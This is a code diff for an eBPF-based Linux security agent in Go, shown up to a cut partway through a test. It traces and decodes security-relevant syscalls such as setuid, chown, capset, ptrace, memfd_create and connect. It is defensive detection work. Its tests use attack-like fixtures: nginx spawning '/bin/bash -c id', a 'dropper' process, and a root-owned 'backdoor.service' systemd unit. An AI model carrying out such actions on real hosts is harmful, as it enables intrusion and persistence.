Binary file not shown.

View file

@ -0,0 +1,52 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package ebpfsource
import (
"bytes"
"encoding/binary"
"testing"
)
func TestDecodeExecSample(t *testing.T) {
raw := execEventRaw{PID: 42, PPID: 7, UID: 1000}
copyCString(raw.ParentComm[:], "nginx")
copyCString(raw.Filename[:], "/bin/bash")
copyCString(raw.Arg1[:], "-c")
copyCString(raw.Arg2[:], "id")
var sample bytes.Buffer
if err := binary.Write(&sample, binary.NativeEndian, raw); err != nil {
t.Fatal(err)
}
event, err := decodeExecSample(sample.Bytes())
if err != nil {
t.Fatal(err)
}
if event.PID != 42 || event.PPID != 7 || event.UID != 1000 ||
event.ParentComm != "nginx" || event.Filename != "/bin/bash" ||
len(event.Argv) != 2 || event.Argv[0] != "-c" || event.Argv[1] != "id" {
t.Fatalf("unexpected event: %#v", event)
}
}
func TestDecodeExecSampleRejectsWrongSize(t *testing.T) {
if _, err := decodeExecSample([]byte{1, 2, 3}); err == nil {
t.Fatal("expected size error")
}
}
func TestCStringStopsAtNUL(t *testing.T) {
if got := cString([]int8{'a', 'b', 0, 'c'}); got != "ab" {
t.Fatalf("got %q", got)
}
}
func copyCString(destination []int8, value string) {
for index, char := range []byte(value) {
if index >= len(destination)-1 {
break
}
destination[index] = int8(char)
}
}

View file

@ -0,0 +1,9 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package ebpfsource
// Generate checked-in object bindings so normal builds need neither clang nor
// kernel headers. The tracepoint ABI is stable and avoids host-specific
// generated vmlinux.h while the loader remains pure Go.
//go:generate go run github.com/cilium/ebpf/cmd/bpf2go@v0.22.0 -cc clang -cflags "-O2 -g -Wall -Werror" exec bpf/exec.bpf.c
//go:generate go run github.com/cilium/ebpf/cmd/bpf2go@v0.22.0 -cc clang -cflags "-O2 -g -Wall -Werror" syscall bpf/syscall.bpf.c

View file

@ -0,0 +1,75 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package ebpfsource
import (
"testing"
"github.com/cilium/ebpf"
"github.com/cilium/ebpf/btf"
)
func TestEmbeddedExecCollectionShape(t *testing.T) {
specification, err := loadExec()
if err != nil {
t.Fatal(err)
}
program := specification.Programs["trace_execve"]
eventsMap := specification.Maps["events"]
if program == nil || program.Type != ebpf.TracePoint || program.SectionName != "tracepoint/syscalls/sys_enter_execve" {
t.Fatalf("unexpected exec program: %#v", program)
}
if eventsMap == nil || eventsMap.Type != ebpf.PerfEventArray {
t.Fatalf("unexpected exec events map: %#v", eventsMap)
}
if countCORERelocations(program) < 2 {
t.Fatal("exec program must retain parent task CO-RE relocations")
}
}
func TestEmbeddedSyscallCollectionShape(t *testing.T) {
specification, err := loadSyscall()
if err != nil {
t.Fatal(err)
}
program := specification.Programs["trace_sys_enter"]
exitProgram := specification.Programs["trace_sys_exit"]
filterMap := specification.Maps["monitored_syscalls"]
writeCommsMap := specification.Maps["monitored_host_comms"]
pendingWritesMap := specification.Maps["pending_returns"]
eventsMap := specification.Maps["syscall_events"]
if program == nil || program.Type != ebpf.TracePoint || program.SectionName != "tracepoint/raw_syscalls/sys_enter" {
t.Fatalf("unexpected syscall program: %#v", program)
}
if exitProgram == nil || exitProgram.Type != ebpf.TracePoint || exitProgram.SectionName != "tracepoint/raw_syscalls/sys_exit" {
t.Fatalf("unexpected syscall exit program: %#v", exitProgram)
}
if filterMap == nil || filterMap.Type != ebpf.Hash || filterMap.MaxEntries != 64 ||
filterMap.KeySize != 8 || filterMap.ValueSize != 4 {
t.Fatalf("unexpected syscall filter map: %#v", filterMap)
}
if writeCommsMap == nil || writeCommsMap.Type != ebpf.Hash || writeCommsMap.MaxEntries != 64 ||
writeCommsMap.KeySize != 16 || writeCommsMap.ValueSize != 4 {
t.Fatalf("unexpected write comm map: %#v", writeCommsMap)
}
if pendingWritesMap == nil || pendingWritesMap.Type != ebpf.Hash || pendingWritesMap.MaxEntries != 4096 ||
pendingWritesMap.KeySize != 8 {
t.Fatalf("unexpected pending writes map: %#v", pendingWritesMap)
}
if eventsMap == nil || eventsMap.Type != ebpf.PerfEventArray {
t.Fatalf("unexpected syscall events map: %#v", eventsMap)
}
if countCORERelocations(program) < 2 {
t.Fatal("syscall program must retain parent task CO-RE relocations")
}
}
func countCORERelocations(program *ebpf.ProgramSpec) int {
count := 0
for index := range program.Instructions {
if btf.CORERelocationMetadata(&program.Instructions[index]) != nil {
count++
}
}
return count
}

View file

@ -0,0 +1,476 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package ebpfsource
import (
"bufio"
"bytes"
"encoding/binary"
"encoding/hex"
"errors"
"fmt"
"io"
"net"
"os"
"path/filepath"
"slices"
"strconv"
"strings"
"github.com/cilium/ebpf"
"github.com/cilium/ebpf/link"
"github.com/cilium/ebpf/perf"
"github.com/cilium/ebpf/rlimit"
"golang.org/x/sys/unix"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/events"
)
const (
syscallMprotect uint32 = iota + 1
syscallMmap
syscallMemfdCreate
syscallPtrace
syscallPrctl
syscallSeccomp
syscallProcessVMReadv
syscallProcessVMWritev
syscallMlock
syscallMlock2
syscallMlockall
hostSetuid
hostSetgid
hostChmod
hostFchmodat
hostChown
hostLchown
hostFchownat
hostCapset
hostFinitModule
hostFileWrite
hostTCPConnect
hostBind
hostListen
hostAccept
hostAccept4
)
var syscallNames = map[uint32]string{
syscallMprotect: "mprotect",
syscallMmap: "mmap",
syscallMemfdCreate: "memfd_create",
syscallPtrace: "ptrace",
syscallPrctl: "prctl",
syscallSeccomp: "seccomp",
syscallProcessVMReadv: "process_vm_readv",
syscallProcessVMWritev: "process_vm_writev",
syscallMlock: "mlock",
syscallMlock2: "mlock2",
syscallMlockall: "mlockall",
}
type syscallEventRaw struct {
PID uint32
PPID uint32
UID uint32
SyscallID uint32
Comm [16]int8
Args [6]uint64
Text [80]int8
}
type SyscallLostSamplesError struct {
Count uint64
}
// SecurityEvent is the typed result of the shared filtered syscall transport.
// Exactly one field is populated.
type SecurityEvent struct {
Syscall *events.SyscallEvent
Host *events.HostEvent
pathDirFD int64
}
func (e SyscallLostSamplesError) Error() string {
return fmt.Sprintf("syscall perf buffer lost %d samples", e.Count)
}
// SyscallSource filters raw syscall entry events in-kernel using a map of
// architecture-specific syscall numbers, then exposes transport-neutral
// SyscallEvent values to the existing rule engine.
type SyscallSource struct {
objects syscallObjects
links []link.Link
reader *perf.Reader
procRoot string
}
func OpenSyscallSource(procRoot string) (*SyscallSource, error) {
if procRoot == "" {
procRoot = "/proc"
}
numbers := monitoredSyscalls()
memlockErr := rlimit.RemoveMemlock()
var objects syscallObjects
if err := loadSyscallObjects(&objects, nil); err != nil {
if memlockErr != nil {
return nil, fmt.Errorf("load syscall BPF objects: %w (memlock adjustment: %v)", err, memlockErr)
}
return nil, fmt.Errorf("load syscall BPF objects: %w", err)
}
for number, identifier := range numbers {
if err := objects.MonitoredSyscalls.Update(number, identifier, ebpf.UpdateAny); err != nil {
objects.Close()
return nil, fmt.Errorf("configure syscall %d: %w", number, err)
}
}
for _, comm := range events.HostInterpreterComms() {
var key [16]byte
copy(key[:], comm)
if err := objects.MonitoredHostComms.Update(key, uint32(1), ebpf.UpdateAny); err != nil {
objects.Close()
return nil, fmt.Errorf("configure write comm %q: %w", comm, err)
}
}
enterLink, err := link.Tracepoint("raw_syscalls", "sys_enter", objects.TraceSysEnter, nil)
if err != nil {
objects.Close()
return nil, fmt.Errorf("attach raw syscall tracepoint: %w", err)
}
exitLink, err := link.Tracepoint("raw_syscalls", "sys_exit", objects.TraceSysExit, nil)
if err != nil {
enterLink.Close()
objects.Close()
return nil, fmt.Errorf("attach raw syscall exit tracepoint: %w", err)
}
reader, err := perf.NewReader(objects.SyscallEvents, 64*4096)
if err != nil {
exitLink.Close()
enterLink.Close()
objects.Close()
return nil, fmt.Errorf("open syscall perf reader: %w", err)
}
return &SyscallSource{objects: objects, links: []link.Link{enterLink, exitLink}, reader: reader, procRoot: procRoot}, nil
}
func (s *SyscallSource) Read() (SecurityEvent, error) {
record, err := s.reader.Read()
if err != nil {
return SecurityEvent{}, err
}
if record.LostSamples != 0 {
return SecurityEvent{}, SyscallLostSamplesError{Count: record.LostSamples}
}
securityEvent, err := decodeSecuritySample(record.RawSample)
if err == nil && securityEvent.Host != nil {
if securityEvent.Host.Path != "" {
securityEvent.Host.Path = resolveProcessPath(
s.procRoot, securityEvent.Host.PID, securityEvent.pathDirFD,
securityEvent.Host.Path,
)
} else if securityEvent.Host.Event == "module_load" || securityEvent.Host.Event == "file_write" {
securityEvent.Host.Path = resolveProcessFD(s.procRoot, securityEvent.Host.PID, securityEvent.pathDirFD)
if securityEvent.Host.Event == "module_load" && securityEvent.Host.Path != "" {
securityEvent.Host.ModuleName = filepath.Base(strings.TrimSuffix(securityEvent.Host.Path, " (deleted)"))
}
}
if securityEvent.Host.Event == "tcp_connect" &&
!isTCPSocket(s.procRoot, securityEvent.Host.PID, securityEvent.pathDirFD) {
securityEvent.Host = nil
}
if securityEvent.Host != nil &&
(securityEvent.Host.Event == "listen" || securityEvent.Host.Event == "accept") {
local, peer, ok := lookupTCPSocket(s.procRoot, securityEvent.Host.PID, securityEvent.pathDirFD)
if !ok {
securityEvent.Host = nil
} else {
securityEvent.Host.LocalIP, securityEvent.Host.LocalPort = local.IP, local.Port
securityEvent.Host.PeerIP, securityEvent.Host.PeerPort = peer.IP, peer.Port
}
}
}
return securityEvent, err
}
func decodeSecuritySample(sample []byte) (SecurityEvent, error) {
var raw syscallEventRaw
if len(sample) != binary.Size(raw) {
return SecurityEvent{}, fmt.Errorf("syscall event size %d, want %d", len(sample), binary.Size(raw))
}
if err := binary.Read(bytes.NewReader(sample), binary.NativeEndian, &raw); err != nil {
return SecurityEvent{}, fmt.Errorf("decode syscall event: %w", err)
}
if raw.SyscallID == hostSetuid || raw.SyscallID == hostSetgid {
event := events.HostEvent{
PID: int(raw.PID), PPID: int(raw.PPID), UID: int(raw.UID),
Comm: cString(raw.Comm[:]), TargetUID: -1, TargetGID: -1,
}
if raw.SyscallID == hostSetuid {
event.Event = "setuid"
event.TargetUID = int(raw.Args[0])
} else {
event.Event = "setgid"
event.TargetGID = int(raw.Args[0])
}
return SecurityEvent{Host: &event}, nil
}
if raw.SyscallID >= hostChmod && raw.SyscallID <= hostFchownat {
event := events.HostEvent{
PID: int(raw.PID), PPID: int(raw.PPID), UID: int(raw.UID),
Comm: cString(raw.Comm[:]), Path: cString(raw.Text[:]),
TargetUID: -1, TargetGID: -1,
}
switch raw.SyscallID {
case hostChmod, hostFchmodat:
event.Event = "chmod"
event.Mode = int(raw.Args[0])
case hostChown, hostLchown, hostFchownat:
event.Event = "chown"
event.TargetUID = int(raw.Args[0])
event.TargetGID = int(raw.Args[1])
}
return SecurityEvent{Host: &event, pathDirFD: int64(raw.Args[2])}, nil
}
if raw.SyscallID == hostCapset {
event := events.HostEvent{
Event: "capset", PID: int(raw.PID), PPID: int(raw.PPID), UID: int(raw.UID),
Comm: cString(raw.Comm[:]), TargetUID: -1, TargetGID: -1,
Capabilities: capabilityNames(raw.Args[0]),
}
return SecurityEvent{Host: &event}, nil
}
if raw.SyscallID == hostFinitModule {
event := events.HostEvent{
Event: "module_load", PID: int(raw.PID), PPID: int(raw.PPID), UID: int(raw.UID),
Comm: cString(raw.Comm[:]), TargetUID: -1, TargetGID: -1,
}
return SecurityEvent{Host: &event, pathDirFD: int64(raw.Args[0])}, nil
}
if raw.SyscallID == hostFileWrite {
event := events.HostEvent{
Event: "file_write", PID: int(raw.PID), PPID: int(raw.PPID), UID: int(raw.UID),
Comm: cString(raw.Comm[:]), TargetUID: -1, TargetGID: -1,
}
return SecurityEvent{Host: &event, pathDirFD: int64(raw.Args[0])}, nil
}
if raw.SyscallID == hostTCPConnect || raw.SyscallID == hostBind {
event := events.HostEvent{
PID: int(raw.PID), PPID: int(raw.PPID), UID: int(raw.UID),
Comm: cString(raw.Comm[:]), TargetUID: -1, TargetGID: -1,
}
address := socketAddress(raw)
if raw.SyscallID == hostTCPConnect {
event.Event, event.PeerIP, event.PeerPort = "tcp_connect", address, int(raw.Args[1])
} else {
event.Event, event.LocalIP, event.LocalPort = "bind", address, int(raw.Args[1])
}
return SecurityEvent{Host: &event, pathDirFD: int64(raw.Args[3])}, nil
}
if raw.SyscallID >= hostListen && raw.SyscallID <= hostAccept4 {
eventName := "accept"
if raw.SyscallID == hostListen {
eventName = "listen"
}
event := events.HostEvent{
Event: eventName, PID: int(raw.PID), PPID: int(raw.PPID), UID: int(raw.UID),
Comm: cString(raw.Comm[:]), TargetUID: -1, TargetGID: -1,
}
return SecurityEvent{Host: &event, pathDirFD: int64(raw.Args[3])}, nil
}
name, ok := syscallNames[raw.SyscallID]
if !ok {
return SecurityEvent{}, fmt.Errorf("unknown canonical syscall id %d", raw.SyscallID)
}
event := events.SyscallEvent{
PID: int(raw.PID), PPID: int(raw.PPID), UID: int(raw.UID),
Comm: cString(raw.Comm[:]), Syscall: name, Args: raw.Args,
Text: cString(raw.Text[:]),
}
return SecurityEvent{Syscall: &event}, nil
}
func decodeSyscallSample(sample []byte) (events.SyscallEvent, error) {
securityEvent, err := decodeSecuritySample(sample)
if err != nil {
return events.SyscallEvent{}, err
}
if securityEvent.Syscall == nil {
return events.SyscallEvent{}, fmt.Errorf("sample is a typed host event")
}
return *securityEvent.Syscall, nil
}
func (s *SyscallSource) Close() error {
var failures []error
if s.reader != nil {
failures = append(failures, s.reader.Close())
}
for _, attached := range s.links {
if attached != nil {
failures = append(failures, attached.Close())
}
}
failures = append(failures, s.objects.Close())
return errors.Join(failures...)
}
func monitoredSyscalls() map[uint64]uint32 {
numbers := map[uint64]uint32{
unix.SYS_MPROTECT: syscallMprotect,
unix.SYS_MMAP: syscallMmap,
unix.SYS_MEMFD_CREATE: syscallMemfdCreate,
unix.SYS_PTRACE: syscallPtrace,
unix.SYS_PRCTL: syscallPrctl,
unix.SYS_SECCOMP: syscallSeccomp,
unix.SYS_PROCESS_VM_READV: syscallProcessVMReadv,
unix.SYS_PROCESS_VM_WRITEV: syscallProcessVMWritev,
unix.SYS_MLOCK: syscallMlock,
unix.SYS_MLOCK2: syscallMlock2,
unix.SYS_MLOCKALL: syscallMlockall,
unix.SYS_SETUID: hostSetuid,
unix.SYS_SETGID: hostSetgid,
unix.SYS_FCHMODAT: hostFchmodat,
unix.SYS_FCHOWNAT: hostFchownat,
unix.SYS_CAPSET: hostCapset,
unix.SYS_FINIT_MODULE: hostFinitModule,
unix.SYS_WRITE: hostFileWrite,
unix.SYS_WRITEV: hostFileWrite,
unix.SYS_PWRITE64: hostFileWrite,
unix.SYS_PWRITEV: hostFileWrite,
unix.SYS_PWRITEV2: hostFileWrite,
unix.SYS_CONNECT: hostTCPConnect,
unix.SYS_BIND: hostBind,
unix.SYS_LISTEN: hostListen,
unix.SYS_ACCEPT4: hostAccept4,
}
for number, identifier := range legacyPermissionSyscalls() {
numbers[number] = identifier
}
for number, identifier := range legacyNetworkSyscalls() {
numbers[number] = identifier
}
return numbers
}
func socketAddress(raw syscallEventRaw) string {
switch raw.Args[0] {
case unix.AF_INET:
bytes := make([]byte, 4)
binary.NativeEndian.PutUint32(bytes, uint32(raw.Args[2]))
return net.IP(bytes).String()
case unix.AF_INET6:
bytes := make([]byte, 16)
for index := range bytes {
bytes[index] = byte(raw.Text[index])
}
return net.IP(bytes).String()
default:
return ""
}
}
func capabilityNames(effective uint64) []string {
known := []struct {
bit uint
name string
}{
{0, "CAP_CHOWN"}, {1, "CAP_DAC_OVERRIDE"}, {2, "CAP_DAC_READ_SEARCH"},
{12, "CAP_NET_ADMIN"}, {13, "CAP_NET_RAW"}, {16, "CAP_SYS_MODULE"},
{19, "CAP_SYS_PTRACE"}, {21, "CAP_SYS_ADMIN"},
}
names := make([]string, 0)
for _, capability := range known {
if effective&(uint64(1)<<capability.bit) != 0 {
names = append(names, capability.name)
}
}
return names
}
func resolveProcessPath(procRoot string, pid int, dirFD int64, path string) string {
if filepath.IsAbs(path) {
return filepath.Clean(path)
}
processRoot := filepath.Join(procRoot, fmt.Sprintf("%d", pid))
baseLink := filepath.Join(processRoot, "cwd")
if dirFD >= 0 {
baseLink = filepath.Join(processRoot, "fd", fmt.Sprintf("%d", dirFD))
}
base, err := os.Readlink(baseLink)
if err != nil || !filepath.IsAbs(base) {
return path
}
return filepath.Clean(filepath.Join(base, path))
}
func resolveProcessFD(procRoot string, pid int, fd int64) string {
if fd < 0 {
return ""
}
path, err := os.Readlink(filepath.Join(procRoot, fmt.Sprintf("%d", pid), "fd", fmt.Sprintf("%d", fd)))
if err != nil || !filepath.IsAbs(path) {
return ""
}
return filepath.Clean(path)
}
func isTCPSocket(procRoot string, pid int, fd int64) bool {
_, _, ok := lookupTCPSocket(procRoot, pid, fd)
return ok
}
type socketEndpoint struct {
IP string
Port int
}
func lookupTCPSocket(procRoot string, pid int, fd int64) (socketEndpoint, socketEndpoint, bool) {
target, err := os.Readlink(filepath.Join(procRoot, fmt.Sprintf("%d", pid), "fd", fmt.Sprintf("%d", fd)))
if err != nil || !strings.HasPrefix(target, "socket:[") || !strings.HasSuffix(target, "]") {
return socketEndpoint{}, socketEndpoint{}, false
}
inode := strings.TrimSuffix(strings.TrimPrefix(target, "socket:["), "]")
for _, name := range []string{"tcp", "tcp6"} {
file, err := os.Open(filepath.Join(procRoot, "net", name))
if err != nil {
continue
}
scanner := bufio.NewScanner(file)
for scanner.Scan() {
fields := strings.Fields(scanner.Text())
if len(fields) > 9 && fields[9] == inode {
local, localErr := decodeProcEndpoint(fields[1], name == "tcp6")
peer, peerErr := decodeProcEndpoint(fields[2], name == "tcp6")
file.Close()
return local, peer, localErr == nil && peerErr == nil
}
}
file.Close()
}
return socketEndpoint{}, socketEndpoint{}, false
}
func decodeProcEndpoint(value string, ipv6 bool) (socketEndpoint, error) {
addressHex, portHex, ok := strings.Cut(value, ":")
if !ok {
return socketEndpoint{}, fmt.Errorf("invalid proc endpoint %q", value)
}
address, err := hex.DecodeString(addressHex)
if err != nil || len(address) != 4 && len(address) != 16 {
return socketEndpoint{}, fmt.Errorf("invalid proc address %q", addressHex)
}
if ipv6 {
for offset := 0; offset < len(address); offset += 4 {
slices.Reverse(address[offset : offset+4])
}
} else {
slices.Reverse(address)
}
port, err := strconv.ParseUint(portHex, 16, 16)
if err != nil {
return socketEndpoint{}, err
}
return socketEndpoint{IP: net.IP(address).String(), Port: int(port)}, nil
}
var _ io.Closer = (*SyscallSource)(nil)

View file

@ -0,0 +1,157 @@
// Code generated by bpf2go; DO NOT EDIT.
//go:build mips || mips64 || ppc64 || s390x
package ebpfsource
import (
"bytes"
_ "embed"
"fmt"
"io"
"github.com/cilium/ebpf"
)
// Names of all BPF objects in the ELF.
//
// Used for safe lookups in a Collection or CollectionSpec.
const (
syscallMapMonitoredHostComms = "monitored_host_comms"
syscallMapMonitoredSyscalls = "monitored_syscalls"
syscallMapPendingReturns = "pending_returns"
syscallMapSyscallEvents = "syscall_events"
syscallProgTraceSysEnter = "trace_sys_enter"
syscallProgTraceSysExit = "trace_sys_exit"
)
// loadSyscall returns the embedded CollectionSpec for syscall.
func loadSyscall() (*ebpf.CollectionSpec, error) {
reader := bytes.NewReader(_SyscallBytes)
spec, err := ebpf.LoadCollectionSpecFromReader(reader)
if err != nil {
return nil, fmt.Errorf("can't load syscall: %w", err)
}
return spec, err
}
// loadSyscallObjects loads syscall and converts it into a struct.
//
// The following types are suitable as obj argument:
//
// *syscallObjects
// *syscallPrograms
// *syscallMaps
//
// See ebpf.CollectionSpec.LoadAndAssign documentation for details.
func loadSyscallObjects(obj any, opts *ebpf.CollectionOptions) error {
spec, err := loadSyscall()
if err != nil {
return err
}
return spec.LoadAndAssign(obj, opts)
}
// syscallSpecs contains maps and programs before they are loaded into the kernel.
//
// It can be passed ebpf.CollectionSpec.Assign.
type syscallSpecs struct {
syscallProgramSpecs
syscallMapSpecs
syscallVariableSpecs
}
// syscallProgramSpecs contains programs before they are loaded into the kernel.
//
// It can be passed ebpf.CollectionSpec.Assign.
type syscallProgramSpecs struct {
TraceSysEnter *ebpf.ProgramSpec `ebpf:"trace_sys_enter"`
TraceSysExit *ebpf.ProgramSpec `ebpf:"trace_sys_exit"`
}
// syscallMapSpecs contains maps before they are loaded into the kernel.
//
// It can be passed ebpf.CollectionSpec.Assign.
type syscallMapSpecs struct {
MonitoredHostComms *ebpf.MapSpec `ebpf:"monitored_host_comms"`
MonitoredSyscalls *ebpf.MapSpec `ebpf:"monitored_syscalls"`
PendingReturns *ebpf.MapSpec `ebpf:"pending_returns"`
SyscallEvents *ebpf.MapSpec `ebpf:"syscall_events"`
}
// syscallVariableSpecs contains global variables before they are loaded into the kernel.
//
// It can be passed ebpf.CollectionSpec.Assign.
type syscallVariableSpecs struct {
}
// syscallObjects contains all objects after they have been loaded into the kernel.
//
// It can be passed to loadSyscallObjects or ebpf.CollectionSpec.LoadAndAssign.
type syscallObjects struct {
syscallPrograms
syscallMaps
syscallVariables
}
func (o *syscallObjects) Close() error {
return _SyscallClose(
&o.syscallPrograms,
&o.syscallMaps,
)
}
// syscallMaps contains all maps after they have been loaded into the kernel.
//
// It can be passed to loadSyscallObjects or ebpf.CollectionSpec.LoadAndAssign.
type syscallMaps struct {
MonitoredHostComms *ebpf.Map `ebpf:"monitored_host_comms"`
MonitoredSyscalls *ebpf.Map `ebpf:"monitored_syscalls"`
PendingReturns *ebpf.Map `ebpf:"pending_returns"`
SyscallEvents *ebpf.Map `ebpf:"syscall_events"`
}
func (m *syscallMaps) Close() error {
return _SyscallClose(
m.MonitoredHostComms,
m.MonitoredSyscalls,
m.PendingReturns,
m.SyscallEvents,
)
}
// syscallVariables contains all global variables after they have been loaded into the kernel.
//
// It can be passed to loadSyscallObjects or ebpf.CollectionSpec.LoadAndAssign.
type syscallVariables struct {
}
// syscallPrograms contains all programs after they have been loaded into the kernel.
//
// It can be passed to loadSyscallObjects or ebpf.CollectionSpec.LoadAndAssign.
type syscallPrograms struct {
TraceSysEnter *ebpf.Program `ebpf:"trace_sys_enter"`
TraceSysExit *ebpf.Program `ebpf:"trace_sys_exit"`
}
func (p *syscallPrograms) Close() error {
return _SyscallClose(
p.TraceSysEnter,
p.TraceSysExit,
)
}
func _SyscallClose(closers ...io.Closer) error {
for _, closer := range closers {
if err := closer.Close(); err != nil {
return err
}
}
return nil
}
// Do not access this directly.
//
//go:embed syscall_bpfeb.o
var _SyscallBytes []byte

Binary file not shown.

View file

@ -0,0 +1,157 @@
// Code generated by bpf2go; DO NOT EDIT.
//go:build 386 || amd64 || arm || arm64 || loong64 || mips64le || mipsle || ppc64le || riscv64 || wasm
package ebpfsource
import (
"bytes"
_ "embed"
"fmt"
"io"
"github.com/cilium/ebpf"
)
// Names of all BPF objects in the ELF.
//
// Used for safe lookups in a Collection or CollectionSpec.
const (
syscallMapMonitoredHostComms = "monitored_host_comms"
syscallMapMonitoredSyscalls = "monitored_syscalls"
syscallMapPendingReturns = "pending_returns"
syscallMapSyscallEvents = "syscall_events"
syscallProgTraceSysEnter = "trace_sys_enter"
syscallProgTraceSysExit = "trace_sys_exit"
)
// loadSyscall returns the embedded CollectionSpec for syscall.
func loadSyscall() (*ebpf.CollectionSpec, error) {
reader := bytes.NewReader(_SyscallBytes)
spec, err := ebpf.LoadCollectionSpecFromReader(reader)
if err != nil {
return nil, fmt.Errorf("can't load syscall: %w", err)
}
return spec, err
}
// loadSyscallObjects loads syscall and converts it into a struct.
//
// The following types are suitable as obj argument:
//
// *syscallObjects
// *syscallPrograms
// *syscallMaps
//
// See ebpf.CollectionSpec.LoadAndAssign documentation for details.
func loadSyscallObjects(obj any, opts *ebpf.CollectionOptions) error {
spec, err := loadSyscall()
if err != nil {
return err
}
return spec.LoadAndAssign(obj, opts)
}
// syscallSpecs contains maps and programs before they are loaded into the kernel.
//
// It can be passed ebpf.CollectionSpec.Assign.
type syscallSpecs struct {
syscallProgramSpecs
syscallMapSpecs
syscallVariableSpecs
}
// syscallProgramSpecs contains programs before they are loaded into the kernel.
//
// It can be passed ebpf.CollectionSpec.Assign.
type syscallProgramSpecs struct {
TraceSysEnter *ebpf.ProgramSpec `ebpf:"trace_sys_enter"`
TraceSysExit *ebpf.ProgramSpec `ebpf:"trace_sys_exit"`
}
// syscallMapSpecs contains maps before they are loaded into the kernel.
//
// It can be passed ebpf.CollectionSpec.Assign.
type syscallMapSpecs struct {
MonitoredHostComms *ebpf.MapSpec `ebpf:"monitored_host_comms"`
MonitoredSyscalls *ebpf.MapSpec `ebpf:"monitored_syscalls"`
PendingReturns *ebpf.MapSpec `ebpf:"pending_returns"`
SyscallEvents *ebpf.MapSpec `ebpf:"syscall_events"`
}
// syscallVariableSpecs contains global variables before they are loaded into the kernel.
//
// It can be passed ebpf.CollectionSpec.Assign.
type syscallVariableSpecs struct {
}
// syscallObjects contains all objects after they have been loaded into the kernel.
//
// It can be passed to loadSyscallObjects or ebpf.CollectionSpec.LoadAndAssign.
type syscallObjects struct {
syscallPrograms
syscallMaps
syscallVariables
}
func (o *syscallObjects) Close() error {
return _SyscallClose(
&o.syscallPrograms,
&o.syscallMaps,
)
}
// syscallMaps contains all maps after they have been loaded into the kernel.
//
// It can be passed to loadSyscallObjects or ebpf.CollectionSpec.LoadAndAssign.
type syscallMaps struct {
MonitoredHostComms *ebpf.Map `ebpf:"monitored_host_comms"`
MonitoredSyscalls *ebpf.Map `ebpf:"monitored_syscalls"`
PendingReturns *ebpf.Map `ebpf:"pending_returns"`
SyscallEvents *ebpf.Map `ebpf:"syscall_events"`
}
func (m *syscallMaps) Close() error {
return _SyscallClose(
m.MonitoredHostComms,
m.MonitoredSyscalls,
m.PendingReturns,
m.SyscallEvents,
)
}
// syscallVariables contains all global variables after they have been loaded into the kernel.
//
// It can be passed to loadSyscallObjects or ebpf.CollectionSpec.LoadAndAssign.
type syscallVariables struct {
}
// syscallPrograms contains all programs after they have been loaded into the kernel.
//
// It can be passed to loadSyscallObjects or ebpf.CollectionSpec.LoadAndAssign.
type syscallPrograms struct {
TraceSysEnter *ebpf.Program `ebpf:"trace_sys_enter"`
TraceSysExit *ebpf.Program `ebpf:"trace_sys_exit"`
}
func (p *syscallPrograms) Close() error {
return _SyscallClose(
p.TraceSysEnter,
p.TraceSysExit,
)
}
func _SyscallClose(closers ...io.Closer) error {
for _, closer := range closers {
if err := closer.Close(); err != nil {
return err
}
}
return nil
}
// Do not access this directly.
//
//go:embed syscall_bpfel.o
var _SyscallBytes []byte

Binary file not shown.

View file

@ -0,0 +1,256 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package ebpfsource
import (
"bytes"
"encoding/binary"
"os"
"path/filepath"
"slices"
"testing"
"golang.org/x/sys/unix"
)
func TestDecodeSyscallSample(t *testing.T) {
raw := syscallEventRaw{
PID: 42, PPID: 7, UID: 1000, SyscallID: syscallMprotect,
Args: [6]uint64{0x1000, 0x2000, 0x6},
}
copyCString(raw.Comm[:], "dropper")
var sample bytes.Buffer
if err := binary.Write(&sample, binary.NativeEndian, raw); err != nil {
t.Fatal(err)
}
event, err := decodeSyscallSample(sample.Bytes())
if err != nil {
t.Fatal(err)
}
if event.PID != 42 || event.PPID != 7 || event.UID != 1000 ||
event.Comm != "dropper" || event.Syscall != "mprotect" || event.Args[2] != 0x6 {
t.Fatalf("unexpected event: %#v", event)
}
}
func TestDecodeSyscallSampleRejectsUnknownIDAndSize(t *testing.T) {
if _, err := decodeSyscallSample([]byte{1}); err == nil {
t.Fatal("expected size error")
}
raw := syscallEventRaw{SyscallID: 99}
var sample bytes.Buffer
if err := binary.Write(&sample, binary.NativeEndian, raw); err != nil {
t.Fatal(err)
}
if _, err := decodeSyscallSample(sample.Bytes()); err == nil {
t.Fatal("expected unknown ID error")
}
}
func TestDecodeSecuritySampleProducesTypedHostTransition(t *testing.T) {
raw := syscallEventRaw{
PID: 42, PPID: 7, UID: 1000, SyscallID: hostSetuid,
Args: [6]uint64{0},
}
copyCString(raw.Comm[:], "python3")
var sample bytes.Buffer
if err := binary.Write(&sample, binary.NativeEndian, raw); err != nil {
t.Fatal(err)
}
securityEvent, err := decodeSecuritySample(sample.Bytes())
if err != nil {
t.Fatal(err)
}
if securityEvent.Syscall != nil || securityEvent.Host == nil ||
securityEvent.Host.Event != "setuid" || securityEvent.Host.TargetUID != 0 ||
securityEvent.Host.TargetGID != -1 || securityEvent.Host.Comm != "python3" {
t.Fatalf("unexpected security event: %#v", securityEvent)
}
}
func TestDecodeSecuritySampleProducesPermissionChange(t *testing.T) {
raw := syscallEventRaw{
PID: 42, PPID: 7, UID: 1000, SyscallID: hostFchownat,
Args: [6]uint64{0, 0},
}
copyCString(raw.Comm[:], "python3")
copyCString(raw.Text[:], "/etc/systemd/system/backdoor.service")
var sample bytes.Buffer
if err := binary.Write(&sample, binary.NativeEndian, raw); err != nil {
t.Fatal(err)
}
securityEvent, err := decodeSecuritySample(sample.Bytes())
if err != nil {
t.Fatal(err)
}
if securityEvent.Host == nil || securityEvent.Host.Event != "chown" ||
securityEvent.Host.Path != "/etc/systemd/system/backdoor.service" ||
securityEvent.Host.TargetUID != 0 || securityEvent.Host.TargetGID != 0 {
t.Fatalf("unexpected security event: %#v", securityEvent)
}
}
func TestDecodeSecuritySampleProducesCapabilities(t *testing.T) {
raw := syscallEventRaw{
PID: 42, PPID: 7, UID: 1000, SyscallID: hostCapset,
Args: [6]uint64{(1 << 2) | (1 << 21)},
}
copyCString(raw.Comm[:], "python3")
var sample bytes.Buffer
if err := binary.Write(&sample, binary.NativeEndian, raw); err != nil {
t.Fatal(err)
}
securityEvent, err := decodeSecuritySample(sample.Bytes())
if err != nil {
